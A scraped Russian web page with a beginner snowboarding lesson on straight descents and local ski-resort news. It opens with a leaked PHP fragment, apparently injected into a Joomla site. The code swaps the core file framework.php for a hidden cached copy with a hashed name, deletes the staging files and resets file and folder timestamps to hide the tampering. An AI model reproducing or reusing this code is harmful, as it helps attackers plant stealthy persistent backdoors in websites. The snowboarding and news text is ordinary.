$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Как кататься на сноуборде, Прямой спуск
Баннер

Как кататься на сноуборде.

Часть 10. Прямой спуск .

После того, как Вы освоились с предыдущими упражнениями, можно начать тренировать прямой спуск по склону.


Шаг 1: Для начала вам потребуется подняться на высокую часть склона, так как для этого упражнения потребуется много места, станьте спиной к склону и приготовьтесь начать движение.



Шаг 2: Перенесите вес тела на ту ногу, с которой вы собираетесь начать движение. Наклоните корпус немного вперед.



Шаг 3: Постарайтесь направить Ваш сноуборд вниз по склону. Вы заметите, что начнете набирать скорость, как только сноуборд будет все больше и больше ехать вниз по склону.



Шаг 4: После того, как Вы набрали достаточную скорость, отклонитесь немного назад и приготовьтесь развернуться для остановки.
Шаг 5: Медленно поворачивайте сноуборд в сторону от спуска. Вы сразу начнете замедляться.



Шаг 6:Полностью повернув сноуборд вы остановитесь. Потренируйте это движения, пока полностью в них не освоитесь.

Важно в этом упражнении постоянно смотреть в сторону движения. Также, при развороте для остановки, чем больше угол между сноубордом и склоном, тем быстрее вы остановитесь.

Обсудить на форуме...

Коментарии:

 
.

Последние новости

Популярные статьи

Новости
Открытие сезона на ГЛЦ "Царевщина"

Ну вот и дождались любители горных лыж и сноуборда открытия ГЛЦ "Царевщина". Сегодня был полноценный рабочий день на этом комплексе. Снегу накидали достаточно, земли нигде не видно. В некоторых местах есть лёд. Народу немного, на подъёмнике очередей нет. Цены остались на уровне прошлого сезона: 1 смена с 10 до 15 - 600р, 2 смена с 13 до 17 - 700р, 3 смена с 17 до 21 - 300р (в выходные дни). В будние дни соответственно 250 - 300 - 200руб. Работает как всегда только центральная трасса.

 
Новости ГЛК Красная глинка

По заявлениям представителей ГЛК  Красная Глинка, что неподалёку от Самары, открытие намечено не 2 декабря, в настоящее время активно идёт подготовка склонов. На Юге убрали не работающий подъемник, трасса стала шире. Сейчас снежат Восточный склон. К открытию скорее всего будут работать Центр, Восток и если успеют то и Юг.

 
Появился новый раздел "Народный магазин"
Подробнее ...
Как кататься на сноуборде, Прямой спуск

Как доехать на машине
*От:
*До:
Дай +1 :)
Сохранить в моб...
Яндекс.Метрика